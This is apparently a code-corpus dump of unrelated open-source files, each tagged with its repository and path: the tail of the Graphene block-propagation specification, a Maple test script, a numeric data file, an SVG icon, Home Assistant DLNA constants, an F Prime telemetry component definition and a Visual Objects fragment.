|vData||<nowiki>vector<unsigned char></nowiki>||variable||Bit array for filter
|-
|nHashFuncs||uint8_t||1 byte||Number of hash functions to be used for Bloom filter (must be between 1 and 32, inclusive)
|-
|nFilterBytes||uint32_t||4 bytes||Size of the Bloom filter data vector in bytes
|-
|nFilterBits||uint64_t||8 bytes||Size of the Bloom filter data vector in bits
|}
====CIblt====
''CIblt'' is an IBLT implementation that is part of the ''CGrapheneSet'' reconciliation process. In the absence of a reconciliation failure, ''CIblt'' will generate false positive list ''F'' and missing transaction cheap hashes ''M''. Details can be found in the [https://github.com/BitcoinUnlimited/BitcoinUnlimited/tree/release/doc/iblt.md release documentation].
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Encoding Details'''||'''Purpose'''
|-
|version||uint64_t||8 bytes||Compact size||Version bits
|-
|mapHashIdxSeeds||<nowiki>map<uint8_t, uint32_t></nowiki>||variable||Standard||Mapping from hash function number (0 to ''n_hash - 1'') to random seed for that hash function
|-
|salt||uint32_t||4 bytes||Standard||Entropy for generating random seeds in ''mapHashIdxSeeds''
|-
|n_hash||uint8_t||1 byte||Standard||Number of hash functions used
|-
|is_modified||bool||1 byte||Standard||True if any items have been inserted into the IBLT
|-
|hashTable||<nowiki>vector<HashTableEntry></nowiki>||variable||Standard||Data cells for IBLT
|}
====HashTableEntry====
''HashTableEntry'' implements a single cell of the ''CIblt'' data structure. Details can be found in the [https://github.com/BitcoinUnlimited/BitcoinUnlimited/tree/release/doc/iblt.md release documentation].
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|count||uint32_t||4 bytes||Number of items
|-
|keySum||uint64_t||8 bytes||XOR of all keys
|-
|keyCheck||uint32_t||4 bytes||Error checking for keySum
|-
|valueSum||vector<nowiki><uint8_t></nowiki>||variable||XOR of all values
|}
====CMemPoolInfo====
''CMemPoolInfo'' provides a count of transactions in the receiver's mempool (plus orphan pool) and corresponds to the variable ''m'' in the description above. It is sent as part of the '''get_grblk''' message.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|nTx||uint64_t||8 bytes||Number of transactions that appear in the union of the receiver's mempool and orphan pool
|}
====CRequestGrapheneBlockTx====
''CRequestGrapheneBlockTx'' is used by the receiver to request missing transactions ''M'' according to their cheap hashes. It is sent as part of the '''get_grblktx''' message.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|blockhash||uint256||32 bytes||The hash of the block corresponding to missing transactions
|-
|setCheapHashesToRequest||<nowiki>set<uint64_t></nowiki>||variable||Cheap hashes of missing transactions requested by receiver
|}
====CGrapheneBlockTx====
''CGrapheneBlockTx'' is returned as part of the '''grblktx''' message. It contains full transactions corresponding to the cheap hashes included in ''CRequestGrapheneBlockTx'' and is returned by the sender in response to a '''get_grblktx''' message.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|blockhash||uint256||32 bytes||The hash of the block corresponding to missing transactions
|-
|vMissingTx||<nowiki>vector<CTransaction></nowiki>||variable||Missing transactions requested by receiver
|}
====CRequestGrapheneReceiverRecover====
''CRequestGrapheneReceiverRecover'' is sent by the receiver to request commencement of the Protocol 2 recovery procedure.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|blockhash||uint256||32 bytes||The hash of the block being recovered
|-
|pReceiverFilter||CVariableFastFilter||variable||Bloom filter containing transaction IDs from candidate set ''Z''
|-
|nSenderFilterPositives||uint64_t||8 bytes||Size of candidate set ''Z''
|}
====CGrapheneReceiverRecover====
''CGrapheneReceiverRecover'' is returned by the sender in response to the '''get_grrec''' message. It contains any transactions known to be missing by the receiver, as well as an updated IBLT ''J''.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|blockhash||uint256||32 bytes||The hash of the block being recovered
|-
|pRevisedIblt||CIblt||variable||A resized IBLT ''J'' containing the cheap hashes of transactions in the block
|-
|vMissingTxs||<nowiki>vector<CTransaction></nowiki>||variable||Transactions known to be missing by receiver
|}
===Selecting parameters for the Bloom Filter and IBLT===
Graphene is most efficient when the parameters of the Bloom Filter and IBLT are set optimally. Here we present two methods of setting these parameters. The approaches are applicable for both Protocols 1 and 2, however we present analysis in terms of Protocol 1. More details can be found in the latest Graphene paper [[graphene-specification-v2.2.mediawiki#ref10|<nowiki>[10]</nowiki>]]. In general, any method for parameterizing the Bloom Filter and IBLT can be used, but it is possible to discover the optimal choice resulting in the smallest possible serialized Graphene block. The first method is simpler to implement, but it is also less efficient and will result in a slightly lower decode rate than desired.
1. Let ''m'' be the size of the receiver's mempool, and let ''n'' be the number of transactions in the block. Let ''t'' be the average size in bytes per item required to recover ''a'' items from the IBLT (i.e., total IBLT table size in bytes divided by ''a''). For example, in our implementation, t=17 bytes, approximately. Then the IBLT should be parameterized to recover ''a=n/(ct)'' items, where ''c=8ln<sup>2</sup>(2)''. The Bloom filter should be set to have a false positive rate (FPR) of ''f=a/(m-n)''. The derivation of these values is presented in the Appendix of this specification.
2. The sizes of the Bloom filter and IBLT can be significantly smaller if a (brute force) linear search is used to parameterize the two data structures. Simply put, for each integer value of ''a'' from 1 to m: (1) determine the size of the IBLT from its actual implementation, taking into account serialization costs; (2) determine the size in bytes of the Bloom filter for a false positive rate of ''f=a/(m-n)'' when ''n'' items are inserted from its implementation. The value of ''a'' that has the minimum sum cost in bytes is selected.
We also note that the IBLT decode rate varies with the number of recovered items ''a''. In order to ensure a consistent decode rate (1 out of 240 blocks, for example), it is necessary to modify the number of hash functions and overhead used when constructing the IBLT. This, in turn, changes the value of ''t'', which affects the accuracy of method 1 above. Determining the combination of hash function quantity and overhead that yields the smallest IBLT for a given decode rate is an orthogonal optimization problem. We have released a stand-alone implementation of [https://github.com/umass-forensics/IBLT-optimization IBLTs in C++] (with a Python wrapper) and a script to determine such values.
The optimization process is similar for Protocol 2, where we attempt to minimize the combined sizes of Bloom filter ''R'' and IBLT ''J''. For this optimization problem, we proceed as in Protocol 1, except that ''m'' is replaced by ''n'' and ''n'' is replaced by ''x*''. Derivation of ''x*'' is discussed in the Appendix.
====Protocol design====
A simple comparison of Graphene to related work is as follows. A block holds ''n=2000'' transactions, which the receiver holds in its mempool along with 4000 other transactions; in other words ''m=2000+4000=6000''.
Using Graphene, the sender sends a block announcement, and the receiver responds with a '''get_grblk''' message, which includes the value ''m''. The sender computes that an IBLT that can recover ''a=27'' items and a Bloom filter of ''n'' items with a FPR of ''f=a/(m-n)=27/(6000-2000)=0.00675'' is minimal. In our test implementation, this results in 3,244 bytes total, the sum of a 643-byte IBLT and a 2,601-byte Bloom filter. Without a canonical transaction order, an expression of the transaction ordering must also be sent, increasing the total by 2,750 bytes to 5,994 bytes. (The receiver's IBLT is not sent over the network.)
XTreme Thin Blocks [[graphene-specification-v2.2.mediawiki#ref5|<nowiki>[5</nowiki>]][[graphene-specification-v2.2.mediawiki#ref8|<nowiki>, 8</nowiki>]][[graphene-specification-v2.2.mediawiki#ref9|<nowiki>, 9]</nowiki>]] has the receiver start by sending a 3,956-byte Bloom Filter of the mempool with an FPR of ''f=1/m=1/2000=0.0005'', and 8-bytes for each of the ''n=2000'' transactions. The total is therefore 3956+8*2000= 19,956.
Compact Blocks [[graphene-specification-v2.2.mediawiki#ref6|<nowiki>[6]</nowiki>]] would send over just the 6 bytes for each of the ''n=2000'' transactions, for a total of 6*2000= 12,000.
The above is a simplistic comparison, as the actual operation of all three protocols is more involved. For example, XTreme Thin Blocks v12.1 and above performs "Bloom Filter Targeting", which significantly reduces the size of the Bloom filter it uses.
The size of all these approaches grows linearly with block size, but Graphene grows more slowly. As the example shows, Graphene would benefit significantly from a standardized, canonical ordering of transactions in blocks, which has been proposed by others for separate benefits.
==Improper and Unsolicited Messages==
In order to ensure protocol compatibility among different implementations, we clarify proper peer behavior in the following two potentially ambiguous scenarios.
1. A receiver peer should ban any other peer that sends any improperly formatted Graphene message.
2. A receiver peer is never banned by a potential sender for requesting a Graphene block, even if the receiver was never initially sent an ''inv'' message for the requested block by the potential sender.
==Backward compatibility==
Older clients remain fully compatible and interoperable after this change.
==Implementation==
https://github.com/BitcoinUnlimited/BitcoinUnlimited/tree/release
==References==
<a id='ref1'><nowiki>[1]</nowiki> OZISIK, A. P., ANDRESEN, G., BISSIAS G., HOUMANSADR, A. , and LEVINE, B. N. [https://link.springer.com/chapter/10.1007%2F978-3-319-67816-0_24 Graphene: A New Protocol for Block Propagation Using Set Reconciliation]. In Proc. of International Workshop on Cryptocurrencies and Blockchain Technology (ESORICS Workshop), (Sept 2017). [http://cryptoeconomics.cs.umass.edu/graphene/graphene-short.pdf (2 page pdf summary)]</a>
<a id='ref2'><nowiki>[2]</nowiki> GOODRICH, M., and MITZENMACHER, M. [https://ieeexplore.ieee.org/document/6120248/ Invertible bloom lookup tables]. In Proc. Annual Allerton Conf. on Communications, Control, and Computing (Sept 2011), pp. 792–799. [https://arxiv.org/abs/1101.2245 (pdf)] </a>
<a id='ref3'><nowiki>[3]</nowiki> EPPSTEIN, D., GOODRICH, M. T., UYEDA, F., and VARGHESE, G. [https://dl.acm.org/citation.cfm?id=2018462 What’s the Difference?: Efficient Set Reconciliation Without Prior Context]. In Proc. ACM SIGCOMM (2011). [https://www.ics.uci.edu/~eppstein/pubs/EppGooUye-SIGCOMM-11.pdf (pdf)]</a>
<a id='ref4'><nowiki>[4]</nowiki> BLOOM, B. H. [https://dl.acm.org/citation.cfm?id=362692 Space/Time Trade-offs in Hash Coding with Allowable Errors]. Communications of the ACM 13, 7 (July 1970), 422–426. [https://en.wikipedia.org/wiki/Bloom_filter (wikipedia)]</a>
<a id='ref5'><nowiki>[5]</nowiki> TSCHIPPER, P. [https://bitco.in/forum/threads/buip010-passed-xtreme-thinblocks.774/ BUIP 010 Xtreme Thinblocks]. Jan 2016.</a>
<a id='ref6'><nowiki>[6]</nowiki> CORALLO, M. [https://github.com/bitcoin/bips/blob/master/bip-0152.mediawiki BIP 152: Compact block relay]. April 2016.</a>
<a id='ref7'><nowiki>[7]</nowiki> ANDRESEN, G. [https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2/ O(1) Block Propagation.] August 2014. </a>
<a id='ref8'><nowiki>[8]</nowiki> CLIFFORD, A., RIZUN, P.R., SUISANI, A., STONE, A., and TSCHIPPER, P.
[https://medium.com/@peter_r/towards-massive-on-chain-scaling-presenting-our-block-propagation-results-with-xthin-da54e55dc0e4 Towards Massive On-Chain Scaling: Presenting Our Block Propagation Results With Xthin]. May 2016.</a>
<a id='ref9'><nowiki>[9]</nowiki> TSCHIPPER, P. [https://github.com/BitcoinUnlimited/BitcoinUnlimited/blob/release/doc/bu-xthin-protocol.md Detailed Protocol Design for Xtreme Thin blocks] Apr 2017.</a>.
<a id='ref10'><nowiki>[10]</nowiki> OZISIK, A. P., LEVINE, B. N., G., BISSIAS, ANDRESEN, G., Tapp, D., and Katkuri, S. [https://dl.acm.org/citation.cfm?id=3342082 Graphene: Efficient Interactive Set Reconciliation Applied to Blockchain Propagation]. In Proc. of the ACM Special Interest Group on Data Communication (SIGCOMM), (August 2019). [https://people.cs.umass.edu/~gbiss/graphene.sigcomm.pdf (full paper)]</a>
==Appendix==
===Minimizing IBLT and Bloom Filter size===
The values for the simple (but less efficient) method of minimizing Graphene's Bloom filter and IBLT are derived as follows. The derivation relates to ''a'' and is expressed in terms of variables in protocol 1, but can be easily adjusted to derive ''b'' using variables from Protocol 2. Throughout, we assume that there are ''n'' transactions in the block, ''m'' in the receiver mempool, and ''x'' in the intersection between block and receiver mempool (note that the current Bitcoin Unlimited implementation assumes x = n-1). We derive the size of both Bloom filter and IBLT in terms of ''a'', the number of transactions that must be recovered from the IBLT.
First, the [https://en.wikipedia.org/wiki/Bloom_filter#Optimal_number_of_hash_functions size of a Bloom filter] in bytes, ''T<sub>BF</sub>(a)'' is given by
''T<sub>BF</sub>(a) = -n ln(f(a)) / (8 ln<sup>2</sup>(2))'' bytes,
where ''f(a)'' is the Bloom filter false positive rate defined as
''f(a) = a / (m - x)''.
Next, let ''T<sub>I</sub>(a)'' be the size of the IBLT. As specified above, there are 17 bytes per cell and in order to ensure a high decode rate, each item recovered from the IBLT requires approximately 1.4 cells. Thus, the typical size of an IBLT that is tuned to recover ''a'' transactions is
''T<sub>I</sub>(a) = 1.4 * 17 * a'' bytes.
It follows then that the aggregate size of the Bloom filter and IBLT is
''T(a) = T<sub>BF</sub>(a) + T<sub>I</sub>(a) = -n ln(a/(m-x))/(8ln<sup>2</sup>(2)) + 1.4 * 17 * a''.
Taking the derivative of this equation with respect to ''a'', setting it equal to 0, and solving it for ''a'', we see that ''T(a)'' is minimized when
''a = n / (1.4 * 8 * 17 * ln<sup>2</sup>(2))''.
====When to use the analytical optimum====
We have developed a [https://github.com/bissias/graphene-experiments/blob/master/jupyter/graphene_size_optimization.ipynb heuristic] for determining when to optimize IBLT and Bloom filter sizes analytically (using the technique described above) and when to perform exhaustive search. For a block containing ''n'' transactions, we find that when ''n > 500'' and the receiver mempool contains at least ''0.25 n'' transactions not in the block, the analytical solution above can be used without increasing the block size by more than 10% from optimal.
===Deriving ''x*'' and ''y*''===
In order to construct Bloom filter ''R'' and IBLT ''J'' in Protocol 2, it is necessary to determine the values ''x*'' and ''y*''. These values amount to, respectively, a lower bound on the number of true positives and an upper bound on the number of false positives found in the candidate set ''Z''. The mathematical procedure for deriving these values is given in the appendix of the latest graphene paper [[graphene-specification-v2.2.mediawiki#ref10|<nowiki>[10]</nowiki>]]. But these derivations are somewhat dense mathematically, so we also provide [https://github.com/bissias/graphene-experiments/blob/master/jupyter/graphene_v2_param_estimates.ipynb python implementations].
===Reducing IBLT decode failures===
Due to variations in sender and receiver mempools, IBLT decode failures were frequent in Graphene version 1. One of the improvements in version 2 was the introduction of a [https://gist.github.com/bissias/561151fef0b98f6e4d8813a08aefe349 heuristic] for determining a suitable increase in the number of IBLT cells to compensate for mempool differences.
==Acknowledgments==
We are grateful for insightful feedback from Andrew Stone, Peter Tschipper, Andrea Suisani, Awemany, and Peter Rizun.
==Copyright==
This document is placed in the public domain.
| MediaWiki | 5 | MONIMAKER365/BitcoinUnlimited | doc/graphene-specification-v2.2.mediawiki | [
"MIT"
] |
interface(screenwidth=9999):
if not (NewSLO :: `module`) then
WARNING("loading NewSLO failed");
`quit`(3);
end if;
with(Hakaru):
with(NewSLO):
#####################################################################
#
# Dirichlet conjugacy tests
#
#####################################################################
(dice_index, dice_index_t) := Concrete("examples/dice_index.hk"):
dice_index := value(eval(dice_index)):
# BUG: naming the var `lda' with a lowercase causes "Error: recursive
# assignment", but *not* inside Concrete (in the evaluation of the resulting
# expression!). `lda' doesn't seem to be a special name.
(LDA, LDA_t) := Concrete("examples/lda2.hk"):
LDA := value(eval(LDA)):
(gmm_gibbs, gmm_gibbs_t) := Concrete("examples/gmm_gibbs.hk"):
gmm_gibbs := value(eval(gmm_gibbs)):
(naive_bayes_gibbs, naive_bayes_gibbs_t) := Concrete("examples/naive_bayes_gibbs.hk"):
naive_bayes_gibbs := value(eval(naive_bayes_gibbs)):
#####################################################################
TestEfficient( dice_index, dice_index_t, KB:-empty, label="dice index" ):
TestEfficient( LDA, LDA_t, KB:-empty, label="LDA" ):
TestEfficient( gmm_gibbs, gmm_gibbs_t, KB:-empty, label="gmm gibbs" ):
TestEfficient( naive_bayes_gibbs, naive_bayes_gibbs_t, KB:-empty, label="naive bayes gibbs" ):
| Maple | 3 | vmchale/hakaru | maple/PlateT2.mpl | [
"BSD-3-Clause"
] |
111
0 1.79769313486232e+308
1 0.2
2 0.2
3 1.79769313486232e+308
4 0.2
5 0.2
6 1.79769313486232e+308
7 0.2
8 0.2
9 1.79769313486232e+308
10 0.2
11 0.2
12 1.79769313486232e+308
13 0.2
14 0.2
15 1.79769313486232e+308
16 0.2
17 0.2
18 1.79769313486232e+308
19 0.2
20 0.2
21 1.79769313486232e+308
22 0.2
23 0.2
24 1.79769313486232e+308
25 0.2
26 0.2
27 1.79769313486232e+308
28 0.2
29 0.2
30 1.79769313486232e+308
31 0.2
32 0.2
33 1.79769313486232e+308
34 0.2
35 0.2
36 1.79769313486232e+308
37 0.2
38 0.2
39 1.79769313486232e+308
40 0.2
41 0.2
42 1.79769313486232e+308
43 0.2
44 0.2
45 1.79769313486232e+308
46 0.2
47 0.2
48 1.79769313486232e+308
49 0.2
50 0.2
51 1.79769313486232e+308
52 0.2
53 0.2
54 1.79769313486232e+308
55 0.2
56 0.2
57 1.79769313486232e+308
58 0.2
59 0.2
60 1.79769313486232e+308
61 0.2
62 0.2
63 1.79769313486232e+308
64 0.2
65 0.2
66 1.79769313486232e+308
67 0.2
68 0.2
69 1.79769313486232e+308
70 0.2
71 0.2
72 1.79769313486232e+308
73 0.2
74 0.2
75 1.79769313486232e+308
76 0.2
77 0.2
78 1.79769313486232e+308
79 0.2
80 0.2
81 1.79769313486232e+308
82 0.2
83 0.2
84 1.79769313486232e+308
85 0.2
86 0.2
87 1.79769313486232e+308
88 0.2
89 0.2
90 1.79769313486232e+308
91 0.2
92 0.2
93 1.79769313486232e+308
94 0.2
95 0.2
96 1.79769313486232e+308
97 0.2
98 0.2
99 1.79769313486232e+308
100 0.2
101 0.2
102 1.79769313486232e+308
103 0.2
104 0.2
105 1.79769313486232e+308
106 0.2
107 0.2
108 1.79769313486232e+308
109 0.2
110 0.2
| IDL | 0 | ricortiz/OpenTissue | demos/data/dlm/111/hi.dlm | [
"Zlib"
] |
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg t="1552895441530" class="icon" style="" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="3984" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><defs><style type="text/css"></style></defs><path d="M153.6 563.2h51.2v256H153.6zM358.4 665.6h51.2v153.6H358.4zM563.2 409.6h51.2v409.6h-51.2zM768 460.8h51.2v358.4h-51.2z" fill="#000000" p-id="3985"></path><path d="M216.064 342.016l25.4464-44.4416 96.6656 55.296-25.4464 44.4416-96.6144-55.296z m219.648 62.3104l-37.2736-35.072 166.8608-177.5104 37.2736 35.072-166.8096 177.5104z m194.7136-175.2576l28.3136-42.6496 90.5216 60.0576-28.3136 42.7008-90.5216-60.1088z" fill="#000000" p-id="3986"></path><path d="M204.8 384a76.8 76.8 0 1 1 0-153.6 76.8 76.8 0 0 1 0 153.6z m0-51.2a25.6 25.6 0 1 0 0-51.2 25.6 25.6 0 0 0 0 51.2zM358.4 486.4a76.8 76.8 0 1 1 0-153.6 76.8 76.8 0 0 1 0 153.6z m0-51.2a25.6 25.6 0 1 0 0-51.2 25.6 25.6 0 0 0 0 51.2zM614.4 230.4a76.8 76.8 0 1 1 0-153.6 76.8 76.8 0 0 1 0 153.6z m0-51.2a25.6 25.6 0 1 0 0-51.2 25.6 25.6 0 0 0 0 51.2zM768 384a76.8 76.8 0 1 1 0-153.6 76.8 76.8 0 0 1 0 153.6z m0-51.2a25.6 25.6 0 1 0 0-51.2 25.6 25.6 0 0 0 0 51.2z" fill="#000000" p-id="3987"></path></svg> | SVG | 1 | TankNee/marktext | src/muya/lib/assets/icons/chart.svg | [
"MIT"
] |
"""Constants for the DLNA DMR component."""
from __future__ import annotations
from collections.abc import Mapping
import logging
from typing import Final
from async_upnp_client.profiles.dlna import PlayMode as _PlayMode
from homeassistant.components.media_player import const as _mp_const
LOGGER = logging.getLogger(__package__)
DOMAIN: Final = "dlna_dmr"
CONF_LISTEN_PORT: Final = "listen_port"
CONF_CALLBACK_URL_OVERRIDE: Final = "callback_url_override"
CONF_POLL_AVAILABILITY: Final = "poll_availability"
CONF_BROWSE_UNFILTERED: Final = "browse_unfiltered"
DEFAULT_NAME: Final = "DLNA Digital Media Renderer"
CONNECT_TIMEOUT: Final = 10
PROTOCOL_HTTP: Final = "http-get"
PROTOCOL_RTSP: Final = "rtsp-rtp-udp"
PROTOCOL_ANY: Final = "*"
STREAMABLE_PROTOCOLS: Final = [PROTOCOL_HTTP, PROTOCOL_RTSP, PROTOCOL_ANY]
# Map UPnP class to media_player media_content_type
MEDIA_TYPE_MAP: Mapping[str, str] = {
"object": _mp_const.MEDIA_TYPE_URL,
"object.item": _mp_const.MEDIA_TYPE_URL,
"object.item.imageItem": _mp_const.MEDIA_TYPE_IMAGE,
"object.item.imageItem.photo": _mp_const.MEDIA_TYPE_IMAGE,
"object.item.audioItem": _mp_const.MEDIA_TYPE_MUSIC,
"object.item.audioItem.musicTrack": _mp_const.MEDIA_TYPE_MUSIC,
"object.item.audioItem.audioBroadcast": _mp_const.MEDIA_TYPE_MUSIC,
"object.item.audioItem.audioBook": _mp_const.MEDIA_TYPE_PODCAST,
"object.item.videoItem": _mp_const.MEDIA_TYPE_VIDEO,
"object.item.videoItem.movie": _mp_const.MEDIA_TYPE_MOVIE,
"object.item.videoItem.videoBroadcast": _mp_const.MEDIA_TYPE_TVSHOW,
"object.item.videoItem.musicVideoClip": _mp_const.MEDIA_TYPE_VIDEO,
"object.item.playlistItem": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.item.textItem": _mp_const.MEDIA_TYPE_URL,
"object.item.bookmarkItem": _mp_const.MEDIA_TYPE_URL,
"object.item.epgItem": _mp_const.MEDIA_TYPE_EPISODE,
"object.item.epgItem.audioProgram": _mp_const.MEDIA_TYPE_EPISODE,
"object.item.epgItem.videoProgram": _mp_const.MEDIA_TYPE_EPISODE,
"object.container": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.container.person": _mp_const.MEDIA_TYPE_ARTIST,
"object.container.person.musicArtist": _mp_const.MEDIA_TYPE_ARTIST,
"object.container.playlistContainer": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.container.album": _mp_const.MEDIA_TYPE_ALBUM,
"object.container.album.musicAlbum": _mp_const.MEDIA_TYPE_ALBUM,
"object.container.album.photoAlbum": _mp_const.MEDIA_TYPE_ALBUM,
"object.container.genre": _mp_const.MEDIA_TYPE_GENRE,
"object.container.genre.musicGenre": _mp_const.MEDIA_TYPE_GENRE,
"object.container.genre.movieGenre": _mp_const.MEDIA_TYPE_GENRE,
"object.container.channelGroup": _mp_const.MEDIA_TYPE_CHANNELS,
"object.container.channelGroup.audioChannelGroup": _mp_const.MEDIA_TYPE_CHANNELS,
"object.container.channelGroup.videoChannelGroup": _mp_const.MEDIA_TYPE_CHANNELS,
"object.container.epgContainer": _mp_const.MEDIA_TYPE_TVSHOW,
"object.container.storageSystem": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.container.storageVolume": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.container.storageFolder": _mp_const.MEDIA_TYPE_PLAYLIST,
"object.container.bookmarkFolder": _mp_const.MEDIA_TYPE_PLAYLIST,
}
# Map media_player media_content_type to UPnP class. Not everything will map
# directly, in which case it's not specified and other defaults will be used.
MEDIA_UPNP_CLASS_MAP: Mapping[str, str] = {
_mp_const.MEDIA_TYPE_ALBUM: "object.container.album.musicAlbum",
_mp_const.MEDIA_TYPE_ARTIST: "object.container.person.musicArtist",
_mp_const.MEDIA_TYPE_CHANNEL: "object.item.videoItem.videoBroadcast",
_mp_const.MEDIA_TYPE_CHANNELS: "object.container.channelGroup",
_mp_const.MEDIA_TYPE_COMPOSER: "object.container.person.musicArtist",
_mp_const.MEDIA_TYPE_CONTRIBUTING_ARTIST: "object.container.person.musicArtist",
_mp_const.MEDIA_TYPE_EPISODE: "object.item.epgItem.videoProgram",
_mp_const.MEDIA_TYPE_GENRE: "object.container.genre",
_mp_const.MEDIA_TYPE_IMAGE: "object.item.imageItem",
_mp_const.MEDIA_TYPE_MOVIE: "object.item.videoItem.movie",
_mp_const.MEDIA_TYPE_MUSIC: "object.item.audioItem.musicTrack",
_mp_const.MEDIA_TYPE_PLAYLIST: "object.item.playlistItem",
_mp_const.MEDIA_TYPE_PODCAST: "object.item.audioItem.audioBook",
_mp_const.MEDIA_TYPE_SEASON: "object.item.epgItem.videoProgram",
_mp_const.MEDIA_TYPE_TRACK: "object.item.audioItem.musicTrack",
_mp_const.MEDIA_TYPE_TVSHOW: "object.item.videoItem.videoBroadcast",
_mp_const.MEDIA_TYPE_URL: "object.item.bookmarkItem",
_mp_const.MEDIA_TYPE_VIDEO: "object.item.videoItem",
}
# Translation of MediaMetadata keys to DIDL-Lite keys.
# See https://developers.google.com/cast/docs/reference/messages#MediaData via
# https://www.home-assistant.io/integrations/media_player/ for HA keys.
# See http://www.upnp.org/specs/av/UPnP-av-ContentDirectory-v4-Service.pdf for
# DIDL-Lite keys.
MEDIA_METADATA_DIDL: Mapping[str, str] = {
"subtitle": "longDescription",
"releaseDate": "date",
"studio": "publisher",
"season": "episodeSeason",
"episode": "episodeNumber",
"albumName": "album",
"trackNumber": "originalTrackNumber",
}
# For (un)setting repeat mode, map a combination of shuffle & repeat to a list
# of play modes in order of suitability. Fall back to _PlayMode.NORMAL in any
# case. NOTE: This list is slightly different to that in SHUFFLE_PLAY_MODES,
# due to fallback behaviour when turning on repeat modes.
REPEAT_PLAY_MODES: Mapping[tuple[bool, str], list[_PlayMode]] = {
(False, _mp_const.REPEAT_MODE_OFF): [
_PlayMode.NORMAL,
],
(False, _mp_const.REPEAT_MODE_ONE): [
_PlayMode.REPEAT_ONE,
_PlayMode.REPEAT_ALL,
_PlayMode.NORMAL,
],
(False, _mp_const.REPEAT_MODE_ALL): [
_PlayMode.REPEAT_ALL,
_PlayMode.REPEAT_ONE,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_OFF): [
_PlayMode.SHUFFLE,
_PlayMode.RANDOM,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_ONE): [
_PlayMode.REPEAT_ONE,
_PlayMode.RANDOM,
_PlayMode.SHUFFLE,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_ALL): [
_PlayMode.RANDOM,
_PlayMode.REPEAT_ALL,
_PlayMode.SHUFFLE,
_PlayMode.NORMAL,
],
}
# For (un)setting shuffle mode, map a combination of shuffle & repeat to a list
# of play modes in order of suitability. Fall back to _PlayMode.NORMAL in any
# case.
SHUFFLE_PLAY_MODES: Mapping[tuple[bool, str], list[_PlayMode]] = {
(False, _mp_const.REPEAT_MODE_OFF): [
_PlayMode.NORMAL,
],
(False, _mp_const.REPEAT_MODE_ONE): [
_PlayMode.REPEAT_ONE,
_PlayMode.REPEAT_ALL,
_PlayMode.NORMAL,
],
(False, _mp_const.REPEAT_MODE_ALL): [
_PlayMode.REPEAT_ALL,
_PlayMode.REPEAT_ONE,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_OFF): [
_PlayMode.SHUFFLE,
_PlayMode.RANDOM,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_ONE): [
_PlayMode.RANDOM,
_PlayMode.SHUFFLE,
_PlayMode.REPEAT_ONE,
_PlayMode.NORMAL,
],
(True, _mp_const.REPEAT_MODE_ALL): [
_PlayMode.RANDOM,
_PlayMode.SHUFFLE,
_PlayMode.REPEAT_ALL,
_PlayMode.NORMAL,
],
}
| Python | 5 | liangleslie/core | homeassistant/components/dlna_dmr/const.py | [
"Apache-2.0"
] |
module Svc {
@ A component for storing telemetry
active component TlmPacketizer {
# ----------------------------------------------------------------------
# General ports
# ----------------------------------------------------------------------
@ Packet send port
output port PktSend: Fw.Com
@ Ping input port
async input port pingIn: Svc.Ping
@ Ping output port
output port pingOut: Svc.Ping
@ Run port for starting packet send cycle
async input port Run: Svc.Sched
@ Telemetry input port
sync input port TlmRecv: Fw.Tlm
# ----------------------------------------------------------------------
# Special ports
# ----------------------------------------------------------------------
@ Command receive
command recv port cmdIn
@ Command registration
command reg port cmdRegOut
@ Command response
command resp port cmdResponseOut
@ Event
event port eventOut
@ Telemetry
telemetry port tlmOut
@ Text event
text event port textEventOut
@ Time get
time get port timeGetOut
# ----------------------------------------------------------------------
# Commands
# ----------------------------------------------------------------------
@ Set telemetry send level
async command SET_LEVEL(
level: U32 @< The I32 command argument
) \
opcode 0
@ Force a packet to be sent
async command SEND_PKT(
$id: U32 @< The packet ID
) \
opcode 1
# ----------------------------------------------------------------------
# Events
# ----------------------------------------------------------------------
@ Telemetry channel is not part of a telemetry packet.
event NoChan(
Id: U32 @< The telemetry ID
) \
severity warning low \
id 0 \
format "Telemetry ID 0x{x} not packetized"
@ Telemetry send level set
event LevelSet(
$id: U32 @< The level
) \
severity activity high \
id 1 \
format "Telemetry send level to {}"
@ Telemetry send level set
event MaxLevelExceed(
level: U32 @< The level
max: U32 @< The max packet level
) \
severity warning low \
id 2 \
format "Requested send level {} higher than max packet level of {}"
@ Packet manually sent
event PacketSent(
$id: U32 @< The packet ID
) \
severity activity low \
id 3 \
format "Sent packet ID {}"
@ Couldn't find the packet to send
event PacketNotFound(
$id: U32 @< The packet ID
) \
severity warning low \
id 4 \
format "Could not find packet ID {}"
# ----------------------------------------------------------------------
# Telemetry
# ----------------------------------------------------------------------
@ Telemetry send level
telemetry SendLevel: U32 id 0
}
}
| FORTRAN | 5 | AlperenCetin0/fprime | Svc/TlmPacketizer/TlmPacketizer.fpp | [
"Apache-2.0"
] |
#region DEFINES
STATIC DEFINE HELPABOUT_PUSHBUTTON1 := 104
DEFINE IDI_VOPADICON := 101
#endregion
CLASS PadShellWindow INHERIT ShellWindow
EXPORT aChildWindows AS ARRAY
EXPORT cFName AS STRING
EXPORT oCB AS SearchBox
METHOD AddChild(oNewChild)
IF aChildWindows = NULL_ARRAY
aChildWindows := {oNewChild}
ELSE
AAdd(aChildWindows, oNewChild)
ENDIF
